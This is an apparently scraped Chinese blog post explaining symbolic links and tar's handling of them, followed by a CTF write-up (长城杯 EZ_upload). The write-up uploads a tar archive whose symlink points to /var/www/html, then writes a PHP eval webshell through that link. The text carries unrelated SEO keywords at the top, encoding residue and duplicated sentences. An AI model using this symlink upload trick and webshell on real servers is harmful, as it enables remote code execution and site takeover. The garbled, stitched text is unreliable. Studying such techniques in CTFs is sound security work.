app产品开发流程,seo 培训教程,余江区建设局网站,百度云网页版登录入口1.符号连接是什么符号链接#xff08;symbolic link#xff0c;也叫软链接#xff09;本质上是一个 指向路径的特殊文件。例如#xff1a;ln -s /etc/passwd passwd_link这会创建一个叫 passwd_link 的文件#xff0c;但它本身不存放 /etc/passwd 的内容#xff0c;而是存…1.符号连接是什么符号链接symbolic link也叫软链接本质上是一个 指向路径的特殊文件。例如
ln -s /etc/passwd passwd_link这会创建一个叫 passwd_link 的文件但它本身不存放 /etc/passwd 的内容而是存放了一个“指针”告诉操作系统“真正的数据在 /etc/passwd 里”。当访问 passwd_link 的时候会访问到/etc/passwd 中的内容。如图所示执行该命令后会在该文件夹中产生一个 passwd_link 文件当访问该文件时我会访问到/etc/passwd 的内容。2. tar 打包符号链接时的处理当 tar 遇到符号链接时它 不会复制链接指向的文件内容而是把“这是一个符号链接它指向哪里”这一事实记录到归档里。
tar -cvf test.tar passwd_link3.tar 解压符号连接的处理
tar -xvf test.tar# 解压到 /tmp 目录
tar -xvf archive.tar -C /tmptar 会在当前目录下重新创建一个符号链接 passwd_link指向 /etc/passwd。4.实战 长城杯-EZ_upload1第一次上传 tar 包 目的 在 /tmp 目录下创建一个符号链接文件 link该符号链接指向/var/www/html访问该链接文件/tmp/link 就等价于 /var/www/html。操作
# 1.制作符号链接当访问link时相当于访问/var/www/html
ln -s /var/www/html link#2.压缩符号链接
tar -cvf test.tar link
接下来将 test.tar 上传即可上传后会自动将该文件解压到/tmp/文件下即/tmp/link。2第一次上传 tar 包创建一个包含 webshell文件的tar包路径设置为 link/shell.php。在/tmp 目录中解压时会把文件解压到 /tmp/link/shell.php由于link 是指向 /var/www/html 的实际写入位置是 → /var/www/html/shell.php。代码实现如下
# 1.创建符号链接
ln -s /var/www/html link# 2.在符号链接目录下创建一个文件实际上创建的文件落在了/var/www/html/下
echo ?php eval($_POST[fly233]); ? link/shell.php# 3.打包
tar -cf evil.tar link/shell.php